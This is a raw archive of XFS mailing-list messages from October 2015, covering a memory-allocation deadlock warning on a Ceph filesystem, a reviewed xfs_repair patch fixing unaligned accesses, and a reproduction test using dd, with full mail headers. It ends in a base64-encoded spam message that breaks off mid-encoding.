size=65536" option in > mkfs.xfs. The question is the memory allocation this option > generates. The system is Redhat EL 7.0 > (3.10.0-229.1.2.el7.x86_64). > > We have been getting this memory allocation deadlock message in > the /var/log/messages file. The file system is used for ceph OSD > and it has about 531894 files. So, if you only have half a million files being stored, why would you optimised the directory structure for tens of millions of files in a single directory? > Oct 6 07:11:09 abc-ceph1-xyz kernel: XFS: possible memory allocation deadlock in kmem_alloc (mode:0x8250) mode = ___GFP_WAIT | ___GFP_IO | ___GFP_NOWARN | ___GFP_ZERO = GFP_NOFS | GFP_ZERO | GFP_NOWARN which means it's come through kmem_zalloc() and so is a heap allocation and hence probably quite small. Hence I doubt that has anything to do with the directory block size, as the directory blocks are allocated as single pages through a completely allocation different path and them virtually mapped... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Mon Oct 12 19:32:36 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 10B6C7F37 for ; Mon, 12 Oct 2015 19:32:36 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id EB9A08F8033 for ; Mon, 12 Oct 2015 17:32:35 -0700 (PDT) X-ASG-Debug-ID: 1444696350-04cb6c5786e5820001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id HC0VC8CPn6IzshUY for ; Mon, 12 Oct 2015 17:32:30 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2AWCwDeTxxWPCSkLHldgyaBQoZbokUBAQEBAQEGix2FGoYKgxOCCnkCAgEBAoEzTQEBAQEBAQcBAQEBQT+EJwEBBDocIxAIAxgJJQ8FJQMHGhOILcAwAQEBBwIBHxmGE4VFhQ0HhC4Fhz2OV40SjySMZ4JxAx2BaCozhnEBAQE Received: from ppp121-44-164-36.lns20.syd7.internode.on.net (HELO dastard) ([121.44.164.36]) by ipmail04.adl6.internode.on.net with ESMTP; 13 Oct 2015 11:02:29 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1ZlnW0-0000Wn-S2; Tue, 13 Oct 2015 11:32:28 +1100 Date: Tue, 13 Oct 2015 11:32:28 +1100 From: Dave Chinner To: Eric Sandeen Cc: xfs@oss.sgi.com Subject: Re: [PATCH 2/4] xfs_repair: fix unaligned accesses Message-ID: <20151013003228.GJ27164@dastard> X-ASG-Orig-Subj: Re: [PATCH 2/4] xfs_repair: fix unaligned accesses References: <56170906.5090301@redhat.com> <56170974.5020604@sandeen.net> <20151011222618.GX27164@dastard> <561C26B4.3080008@sandeen.net> <20151012214532.GC31326@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20151012214532.GC31326@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1444696350 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23436 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Oct 13, 2015 at 08:45:32AM +1100, Dave Chinner wrote: > On Mon, Oct 12, 2015 at 04:31:32PM -0500, Eric Sandeen wrote: > > > > > > On 10/11/15 5:26 PM, Dave Chinner wrote: > > > On Thu, Oct 08, 2015 at 07:25:24PM -0500, Eric Sandeen wrote: > > >> This fixes some unaligned accesses spotted by libubsan in repair. > > >> > > >> Signed-off-by: Eric Sandeen > > >> --- > > >> repair/dinode.c | 19 +++++++++---------- > > >> repair/prefetch.c | 4 ++-- > > >> 2 files changed, 11 insertions(+), 12 deletions(-) > > >> > > >> diff --git a/repair/dinode.c b/repair/dinode.c > > >> index f78f907..44bbb8f 100644 > > >> --- a/repair/dinode.c > > >> +++ b/repair/dinode.c > > >> @@ -960,13 +960,13 @@ _("bad numrecs 0 in inode %" PRIu64 " bmap btree root block\n"), > > >> * btree, we'd do it right here. For now, if there's a > > >> * problem, we'll bail out and presumably clear the inode. > > >> */ > > >> - if (!verify_dfsbno(mp, be64_to_cpu(pp[i]))) { > > >> + if (!verify_dfsbno(mp, get_unaligned_be64(&pp[i]))) { > > > > > > I don't understand - when are pointers in the BMBT not 64 bit > > > aligned? The buffers are allocated by memalign to be 64 bit aligned, > > > and all the internal BMBT structures are 64 bit aligned, too. i.e > > > the BMBT block header is 24/72 bytes in length (depending on CRCs), > > > the pointers are 64 bit, and the records are 128 bit. > > > > > > So where's the unaligned access coming from? > > > > Ok, so on a recheck, I'm not crazy w.r.t. what gcc said, anyway: > > > > dinode.c:964:26: runtime error: load of misaligned address 0x7fc4f800ef54 for type 'xfs_bmbt_ptr_t', which requires 8 byte alignment > > 0x7fc4f800ef54: note: pointer points here > > 00 00 00 00 00 00 00 00 00 20 38 5e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 > > ^ > > > > with some added printfs, it came from: > > > > pp = XFS_BMDR_PTR_ADDR(dib, 1, > > xfs_bmdr_maxrecs(XFS_DFORK_SIZE(dip, mp, whichfork), 0)); > > printf("dib at %p pp at %p\n", dib, pp); > > > > dib at 0x7fc4f800eeb0 pp at 0x7fc4f800ef54 > > Ah, ok, it's in extent format in the inode fork, not in btree > format in blocks. Let me go back and look at it again. My head was not screwed on properly that early in the morning. BMDR is the btree root block in the inode, not an extent format inode. And that set of pointers are being walked as an array which is then fed into the block scan itself. OK, makes sense now. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Mon Oct 12 19:35:59 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 325947F37 for ; Mon, 12 Oct 2015 19:35:59 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id B5931AC006 for ; Mon, 12 Oct 2015 17:35:55 -0700 (PDT) X-ASG-Debug-ID: 1444696549-04cbb00e8414cb0001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id riTFzFIwBI7kKsAP for ; Mon, 12 Oct 2015 17:35:50 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2AWCwAGURxWPCSkLHldgyaBQoZbokUBAQEBAQEGix2FGoYKgxOCCnkCAgEBAoEzTQEBAQEBAQcBAQEBQT+EJwEBBDocIxAIAw4KCSUPBSUDBxoTiC3AMAEBAQcCAR8ZhhOFRYUNB4QuBZYUjRKPJIxnhHkqM4ZxAQEB Received: from ppp121-44-164-36.lns20.syd7.internode.on.net (HELO dastard) ([121.44.164.36]) by ipmail04.adl6.internode.on.net with ESMTP; 13 Oct 2015 11:05:08 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1ZlnYZ-0000Xi-P0; Tue, 13 Oct 2015 11:35:07 +1100 Date: Tue, 13 Oct 2015 11:35:07 +1100 From: Dave Chinner To: Brian Foster Cc: Eric Sandeen , xfs@oss.sgi.com Subject: Re: [PATCH 2/5] xfs_repair: fix unaligned accesses Message-ID: <20151013003507.GK27164@dastard> X-ASG-Orig-Subj: Re: [PATCH 2/5] xfs_repair: fix unaligned accesses References: <56181A17.9080503@sandeen.net> <56181AAD.9080505@sandeen.net> <20151009200822.GG27982@bfoster.bfoster> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20151009200822.GG27982@bfoster.bfoster> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1444696549 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23437 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Oct 09, 2015 at 04:08:22PM -0400, Brian Foster wrote: > On Fri, Oct 09, 2015 at 02:51:09PM -0500, Eric Sandeen wrote: > > This fixes some unaligned accesses spotted by libubsan in repair. > > > > See Documentation/unaligned-memory-access.txt in the kernel > > tree for why these can be a problem. > > > > Signed-off-by: Eric Sandeen > > --- > > Reviewed-by: Brian Foster .... > > @@ -960,15 +960,17 @@ _("bad numrecs 0 in inode %" PRIu64 " bmap btree root block\n"), > > * btree, we'd do it right here. For now, if there's a > > * problem, we'll bail out and presumably clear the inode. > > */ > > - if (!verify_dfsbno(mp, be64_to_cpu(pp[i]))) { > > - do_warn(_("bad bmap btree ptr 0x%llx in ino %" PRIu64 "\n"), > > - (unsigned long long) be64_to_cpu(pp[i]), lino); > > + if (!verify_dfsbno(mp, get_unaligned_be64(&pp[i]))) { > > + do_warn( > > +("bad bmap btree ptr 0x%" PRIx64 " in ino %" PRIu64 "\n"), > > + get_unaligned_be64(&pp[i]), lino); drops the "_" from the translation string. I'll fix it on commit. /me can't help but think that a local variable or two would make this code so much more readable.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From alau2@cisco.com Mon Oct 12 20:39:54 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 9117B7F37 for ; Mon, 12 Oct 2015 20:39:54 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 7FF5F8F8040 for ; Mon, 12 Oct 2015 18:39:51 -0700 (PDT) X-ASG-Debug-ID: 1444700388-04cbb00e8717e80001-NocioJ Received: from alln-iport-4.cisco.com (alln-iport-4.cisco.com [173.37.142.91]) by cuda.sgi.com with ESMTP id TJawCooBZxzKCGgP (version=TLSv1 cipher=IDEA-CBC-SHA bits=128 verify=NO) for ; Mon, 12 Oct 2015 18:39:49 -0700 (PDT) X-Barracuda-Envelope-From: alau2@cisco.com X-Barracuda-Apparent-Source-IP: 173.37.142.91 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=cisco.com; i=@cisco.com; l=2216; q=dns/txt; s=iport; t=1444700390; x=1445909990; h=from:to:cc:subject:date:message-id:references: in-reply-to:content-transfer-encoding:mime-version; bh=C/KB8xgxA3Uww7gZFD1nFq6oQRWcUJ3Zz/8Gvjxij5U=; b=BewsLjG439tL0ekLmt18GMHybWgb8h4cnI/ss3PPwLfUVYiPXwheQZqE TjUfXCdckISJRpOGJ0Em/MkkNYJWkyMRKDJUz7vanVcMI+q1sm9n0u2a4 qCni6U17ZpXyAGWNx4gBatJaIrbHTXj6ZRJcPKqtQDe2moIT6OHfvFT/i s=; X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A0CoAgCxYBxW/4wNJK1dgyZUbga+BwENgVohgnKCCn8CgTY4FAEBAQEBAQGBCoQmAQEBAwE6PwUHBAIBCA4DBAEBAR4JBzIUCQgBAQQOBQiIHggNwCoBAQEBAQEBAQEBAQEBAQEBAQEBAQETBItxhQ0HBoQoBZYUAYUYh3qIWYYajRYBHwEBQoIRHYFUcYVrgQYBAQE X-IronPort-AV: E=Sophos;i="5.17,676,1437436800"; d="scan'208";a="196743513" Received: from alln-core-7.cisco.com ([173.36.13.140]) by alln-iport-4.cisco.com with ESMTP; 13 Oct 2015 01:39:26 +0000 Received: from XCH-RCD-020.cisco.com (xch-rcd-020.cisco.com [173.37.102.30]) by alln-core-7.cisco.com (8.14.5/8.14.5) with ESMTP id t9D1dQOt016958 (version=TLSv1/SSLv3 cipher=AES256-SHA bits=256 verify=FAIL); Tue, 13 Oct 2015 01:39:26 GMT Received: from xch-aln-020.cisco.com (173.36.7.30) by XCH-RCD-020.cisco.com (173.37.102.30) with Microsoft SMTP Server (TLS) id 15.0.1104.5; Mon, 12 Oct 2015 20:39:13 -0500 Received: from xch-aln-020.cisco.com ([173.36.7.30]) by XCH-ALN-020.cisco.com ([173.36.7.30]) with mapi id 15.00.1104.000; Mon, 12 Oct 2015 20:39:13 -0500 From: "Al Lau (alau2)" To: Dave Chinner CC: "xfs@oss.sgi.com" Subject: RE: mkfs.xfs -n size=65536 Thread-Topic: mkfs.xfs -n size=65536 X-ASG-Orig-Subj: RE: mkfs.xfs -n size=65536 Thread-Index: AdEC1680Gy4Y381SQNu4wXlh8fvUqwCn49kAAAhmBNA= Date: Tue, 13 Oct 2015 01:39:13 +0000 Message-ID: <8a1b26a3b869448e805485c529c447a4@XCH-ALN-020.cisco.com> References: <0F279340237AA148AD7E3C6A70561A5E01266BE7@xmb-rcd-x14.cisco.com> <20151013002308.GI27164@dastard> In-Reply-To: <20151013002308.GI27164@dastard> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: x-ms-exchange-transport-fromentityheader: Hosted x-originating-ip: [10.128.10.52] Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 X-Barracuda-Connect: alln-iport-4.cisco.com[173.37.142.91] X-Barracuda-Start-Time: 1444700389 X-Barracuda-Encrypted: IDEA-CBC-SHA X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.02 X-Barracuda-Spam-Status: No, SCORE=0.02 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, THREAD_INDEX, THREAD_TOPIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23438 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 THREAD_INDEX thread-index: AcO7Y8iR61tzADqsRmmc5wNiFHEOig== 0.01 THREAD_TOPIC Thread-Topic: ...(Japanese Subject)... -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Hi Dave, The "-n size=3D65536" was introduced to our system before I arrived. We ca= n adjust the value with respect to the usage on our system. I also did not think the kmme_alloc failure was related to the size=3D65536= setting. I am attempting to reproduce the kmem_alloc error as requested in https://a= ccess.redhat.com/support/cases/#/case/01500239 Have a 3 TB file. Logically divide into 1024 sections. Each section has a= process doing dd to a randomly selected 4K block in a loop. Will this tes= t case eventually cause the extent fragmentation that lead to the kmem_allo= c message? dd if=3D/var/kmem_alloc/junk of=3D/var/kmem_alloc/fragmented obs=3D4096 bs= =3D4096 count=3D1 seek=3D604885543 conv=3Dfsync,notrunc oflag=3Ddirect Thanks, -Al -----Original Message----- From: Dave Chinner [mailto:david@fromorbit.com]=20 Sent: Monday, October 12, 2015 5:23 PM To: Al Lau (alau2) Cc: xfs@oss.sgi.com Subject: Re: mkfs.xfs -n size=3D65536 On Fri, Oct 09, 2015 at 10:40:00PM +0000, Al Lau (alau2) wrote: > I am looking for more details on the "-n size=3D65536" option in=20 > mkfs.xfs. The question is the memory allocation this option=20 > generates. The system is Redhat EL 7.0 (3.10.0-229.1.2.el7.x86_64). >=20 > We have been getting this memory allocation deadlock message in the=20 > /var/log/messages file. The file system is used for ceph OSD and it=20 > has about 531894 files. So, if you only have half a million files being stored, why would you optim= ised the directory structure for tens of millions of files in a single dire= ctory? > Oct 6 07:11:09 abc-ceph1-xyz kernel: XFS: possible memory allocation=20 > deadlock in kmem_alloc (mode:0x8250) mode =3D ___GFP_WAIT | ___GFP_IO | ___GFP_NOWARN | ___GFP_ZERO =3D GFP_NOFS | GFP_ZERO | GFP_NOWARN which means it's come through kmem_zalloc() and so is a heap allocation and= hence probably quite small. Hence I doubt that has anything to do with the directory block size, as the= directory blocks are allocated as single pages through a completely alloca= tion different path and them virtually mapped... Cheers, Dave. -- Dave Chinner david@fromorbit.com From 3x3EcVhAJA9IKyF12DM6J6J62BDB4Ay69.0CAL3GCGG.G46.0CA@trix.bounces.google.com Mon Oct 12 21:51:55 2015 Return-Path: <3x3EcVhAJA9IKyF12DM6J6J62BDB4Ay69.0CAL3GCGG.G46.0CA@trix.bounces.google.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,HTML_MESSAGE, T_DKIM_INVALID,T_REMOTE_IMAGE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id E52477F37 for ; Mon, 12 Oct 2015 21:51:55 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id B326A30404E for ; Mon, 12 Oct 2015 19:51:52 -0700 (PDT) X-ASG-Debug-ID: 1444704711-04cbb00e801b2f0001-NocioJ Received: from mail-ig0-f207.google.com (mail-ig0-f207.google.com [209.85.213.207]) by cuda.sgi.com with ESMTP id dBk3UPDFTOmCbDag (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Mon, 12 Oct 2015 19:51:51 -0700 (PDT) X-Barracuda-Envelope-From: 3x3EcVhAJA9IKyF12DM6J6J62BDB4Ay69.0CAL3GCGG.G46.0CA@trix.bounces.google.com X-Barracuda-Apparent-Source-IP: 209.85.213.207 X-ASG-Whitelist: EmailCat (listserver) Received: by igcxw12 with SMTP id xw12so10715igc.0 for ; Mon, 12 Oct 2015 19:51:51 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:reply-to:message-id:date:subject:from:to:content-type; bh=dCKDNx54rv2wP25fxY2ockDG0QBrKdHEBuD+CreK/1s=; b=BiWBZmOOBEYgVWuCr+Ule+piI2SgXF1TnSEgEUkFJ/ZyEmNdShPfljeGrQJBZnrQkp G5MAxnr594FjKYdYVqn1jB9szF50tkZ6HGn/5pdrMkVdXron/66OvzNR5bFje4RRsUZn j0lYsr5sGOqxIJ2P4OuXFQm8RCIGdEojlKApvT4Ex/LIkCvxpDgDQ6iyxyxVbsnUnx8f V17rD2XAiLMFFJA2zggmjHunBog8cGm+nothgFCoOzNOhTg77MD1Jk4CT7RdhLTdObV3 69MDEZh/WhTNSBDhAE2llvGa04aPqBMxnR3Uo0+TfwOeFiuNvAxqTQAcd8KhuayL9V1G Ye4g== MIME-Version: 1.0 X-Received: by 10.50.62.49 with SMTP id v17mt24331188igr.1.1444704711282; Mon, 12 Oct 2015 19:51:51 -0700 (PDT) Reply-To: wardepyivivienpn@gmail.com X-No-Auto-Attachment: 1 Message-ID: <047d7bdc17541f3c2f0521f3871e@google.com> Date: Tue, 13 Oct 2015 02:51:51 +0000 Subject: =?GB2312?B?v6q3orn6zeK/zbun1ve2r9DUtcS1yLT9uPzT0NCn?= From: wardepyivivienpn@gmail.com X-ASG-Orig-Subj: =?GB2312?B?v6q3orn6zeK/zbun1ve2r9DUtcS1yLT9uPzT0NCn?= To: xfs@oss.sgi.com Content-Type: multipart/alternative; boundary=047d7bdc17542065470521f3876e X-Barracuda-Connect: mail-ig0-f207.google.com[209.85.213.207] X-Barracuda-Start-Time: 1444704711 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 --047d7bdc17542065470521f3876e Content-Type: text/plain; charset=GB2312; format=flowed; delsp=yes Content-Transfer-Encoding: base64 v6q3or/Nu6eyu8Tcubuxu7avtci0/aOsztLDx8jtvP68r7rPyKvH8rj3tPPW98H3yczStcvRy/fS /cfmo6y8sMirx/K497n6DQq1sbXYs6PTw7XEx/jT8tL9x+ajrMD708Oy+sa3vLDEv7Hqv827p8i6 tcTM2NX3yejWw8/g06a1xLnYvPy0yqOszai5/dXi0KkNCsvRy/fS/cfmwLTL0cv3tqjOu7W9xL+x 6r/Nu6e1xLnZt73N+NW+oaLM4cihwarPtbe9yr29q8irx/LT0NLiz/K1xNDQ0rW/zQ0Ku6e2vMvR y/ez9sC0o6yw79b6zeLDs8bz0rXU2r/sy9mzyb270rvQqbaptaW1xM2syrGjrLu5v8nS1MXg0fjS u8X61tKzz7XEDQq6z9f3u++w6aGjDQq5psTc0rujuryvs8nBy8irx/IxN7j2zajTw9L9x+ajrDIw MLj2ufq80s/CNzAwtuC49rG+tdjS/cfmo6zT79HU0v3H5qOsu8YNCtKz0v3H5iC7udPQZ29vZ2xl IG1hcCDS/cfmo6xnb29nbGWy+sa3zbzGrNL9x+YsINXi0Km2vMrHzeLDs9XSv827p7fHs6PXqA0K 0rW1xNL9x+YNCrmmxNy2/qO6zai5/bbg08q8/tb3zOKjrLbg08q8/sTayN3X1Lav1+m6z7e9yr23 otDFo6zX1Lavv9jWxrei0MXVyrrFt6LQxQ0Kyc/P3qOszerIq9K7ttTSu7ei0MUsINPQ0Kex3MPi us29tbXNvfjI68Csu/jTys/kvLjCyrXEoaMNCrmmxNzI/aO619S2r7nptbXL0cv3tb21xL/Nu6fK /b7do6zX1Lavuf3Cy7K7zazKsbzkts6jrLK7zay52Lz819bL0cv3tb21xA0K1ti4tMr9vt2how0K yOe5+8T61LjS4ruovLi31tbTtcTKsbzkwcu94s3iw7PG89K11ve2r7P2u/e3vcq9o6y/ydLUy+bK sbzTyc9xINfJ0a+how0K0d3Kvr/bv9s6IDIzNzY1NTI5NTIge7/JwPvTw7nzy76zo9PDtcSy+sa3 udi8/LTKo6zD4rfR1NrP39Hdyr7I7bz+uabE3LrNDQrQp7n7fQ0KyPSyu9Do0qq0y8Dg08q8/sfr yejWw77cytWjrLGnx7i08sTTDQoNCg0KDQoNCg0KDQrO0tLR0fvH68T6zO7QtLHttaUgv6q3or/N u6eyu8rHxNHOyszio6zK1bW908q8/srHztLDx8WswabT67e9t6i1xLPJDQrQp6Osyse38dPQ0MvI pMHLveLKx8T6tcTRodTxo6zLq8+yyO28/tej1LjE+rmk1/fT5L/so6zKwsrCy7PQxKOhoaMg0qrM 7g0K0LS0y7HttaWjrMfrt8POyqO6DQpodHRwczovL2RvY3MuZ29vZ2xlLmNvbS9mb3Jtcy9kLzFa TUoxQjJtTy02Sk8zWDlxQkxiX2NaRUFOeVloZVBwdlV3YlJCalBZUE9RL3ZpZXdmb3JtP2M9MCZ3 PTEmdXNwPW1haWxfZm9ybV9saW5rDQo= --047d7bdc17542065470521f3876e Content-Type: text/html; charset=GB2312 Content-Transfer-Encoding: base64 PGh0bWw+PGJvZHkgaXRlbXNjb3BlIGl0ZW10eXBlPSJodHRwOi8vc2NoZW1hLm9yZy9FbWFpbE1l c3NhZ2UiIHN0eWxlPSIiPjxkaXYgY2xhc3M9InNzLWVtYWlsLWJvZHkiIHN0eWxlPSJkaXNwbGF5 OmlubGluZTt3aWR0aDo1NzZweDsiPjxkaXYgaXRlbXByb3A9ImFjdGlvbiIgaXRlbXNjb3BlIGl0 ZW10eXBlPSJodHRwOi8vc2NoZW1hLm9yZy9WaWV3QWN0aW9uIiBzdHlsZT0iIj48bWV0YSBpdGVt cHJvcD0ibmFtZSIgY29udGVudD0izO7QtLHttaUiIHN0eWxlPSIiPgo8bWV0YSBpdGVtcHJvcD0i dXJsIiBjb250ZW50PSJodHRwczovL2RvY3MuZ29vZ2xlLmNvbS9mb3Jtcy9kLzFaTUoxQjJtTy02 Sk8zWDlxQkxiX2NaRUFOeVloZVBwdlV3YlJCalBZUE9RL3ZpZXdmb3JtP2M9MCZhbXA7dz0xJmFt cDt1c3A9bWFpbF9nb3RvX2Zvcm0iIHN0eWxlPSIiPjwvZGl2Pgo8cCBpdGVtcHJvcD0iZGVzY3Jp cHRpb24iIHN0eWxlPSIiPr+qt6K/zbunsrvE3Lm7sbu2r7XItP2jrM7Sw8fI7bz+vK+6z8irx/K4 97Tz1vfB98nM0rXL0cv30v3H5qOsvLDIq8fyuPe5+rWxtdizo9PDtcTH+NPy0v3H5qOswPvTw7L6 xre8sMS/seq/zbunyLq1xMzY1ffJ6NbDz+DTprXEudi8/LTKo6zNqLn91eLQqcvRy/fS/cfmwLTL 0cv3tqjOu7W9xL+x6r/Nu6e1xLnZt73N+NW+oaLM4cihwarPtbe9yr29q8irx/LT0NLiz/K1xNDQ 0rW/zbuntrzL0cv3s/bAtKOssO/W+s3iw7PG89K11Nq/7MvZs8m9u9K70Km2qbWltcTNrMqxo6y7 ub/J0tTF4NH40rvF+tbSs8+1xLrP1/e777DpoaMgPHA+uabE3NK7o7q8r7PJwcvIq8fyMTe49s2o 08PS/cfmo6wyMDC49rn6vNLPwjcwMLbguPaxvrXY0v3H5qOs0+/R1NL9x+ajrLvG0rPS/cfmICC7 udPQZ29vZ2xlIG1hcCDS/cfmo6xnb29nbGWy+sa3zbzGrNL9x+YsINXi0Km2vMrHzeLDs9XSv827 p7fHs6PXqNK1tcTS/cfmPHA+uabE3Lb+o7rNqLn9tuDTyrz+1vfM4qOstuDTyrz+xNrI3dfUtq/X 6brPt73Kvbei0MWjrNfUtq+/2NbGt6LQxdXKusW3otDFyc/P3qOszerIq9K7ttTSu7ei0MUsINPQ 0Kex3MPius29tbXNvfjI68Csu/jTys/kvLjCyrXEoaM8cD65psTcyP2jutfUtq+56bW1y9HL97W9 tcS/zbunyv2+3aOs19S2r7n9wsuyu82syrG85LbOo6yyu82sudi8/NfWy9HL97W9tcTW2Li0yv2+ 3aGjPHA+IMjnufvE+tS40uK7qLy4t9bW07XEyrG85MHLveLN4sOzxvPStdb3tq+z9rv3t73KvaOs v8nS1MvmyrG808nPcSDXydGvoaM8cD7R3cq+v9u/2zogMjM3NjU1Mjk1MiAge7/JwPvTw7nzy76z o9PDtcSy+sa3udi8/LTKo6zD4rfR1NrP39Hdyr7I7bz+uabE3LrN0Ke5+308cD7I9LK70OjSqrTL wODTyrz+x+vJ6NbDvtzK1aOssafHuLTyxNM8L3A+PC9wPjwvcD48L3A+PC9wPjwvcD48L3A+Csjn ufvE+s7et6iy6b+0u/LM4b27tMux7bWlo6y/ydLUPGEgaHJlZj0iaHR0cHM6Ly9kb2NzLmdvb2ds ZS5jb20vZm9ybXMvZC8xWk1KMUIybU8tNkpPM1g5cUJMYl9jWkVBTnlZaGVQcHZVd2JSQmpQWVBP US92aWV3Zm9ybT9jPTAmYW1wO3c9MSZhbXA7dXNwPW1haWxfZm9ybV9saW5rIiBzdHlsZT0iIj7U 2iBHb29nbGUgse21pdbQzO7QtDwvYT6howo8cD48L3A+CjxkaXYgZGlyPSJsdHIiIHN0eWxlPSIi PjxkaXYgY2xhc3M9ImZvcm0tYm9keSIgc3R5bGU9IiI+PGgxIGNsYXNzPSJzcy1mb3JtLXRpdGxl IiBkaXI9Imx0ciIgc3R5bGU9Im1hcmdpbjouNjdlbSAwOyI+v6q3or/Nu6eyu8rHxNHOyszio6zK 1bW908q8/srHztLDx8WswabT67e9t6i1xLPJ0KejrMrHt/HT0NDLyKTBy73iysfE+rXE0aHU8aOs y6vPssjtvP7Xo9S4xPq5pNf30+S/7KOsysLKwsuz0MSjoTwvaDE+PC9kaXY+CjxkaXYgc3R5bGU9 IndoaXRlLXNwYWNlOiBwcmUtd3JhcDsgZGlzcGxheTogaW5saW5lIj4KCjwvZGl2Pgo8ZGl2IGNs YXNzPSJmb3JtLWJvZHkiIHN0eWxlPSIiPjxkaXYgY2xhc3M9InNzLWZvcm0iIHN0eWxlPSIiPjxm b3JtIGFjdGlvbj0iaHR0cHM6Ly9kb2NzLmdvb2dsZS5jb20vZm9ybXMvZC8xWk1KMUIybU8tNkpP M1g5cUJMYl9jWkVBTnlZaGVQcHZVd2JSQmpQWVBPUS9mb3JtUmVzcG9uc2UiIG1ldGhvZD0iUE9T 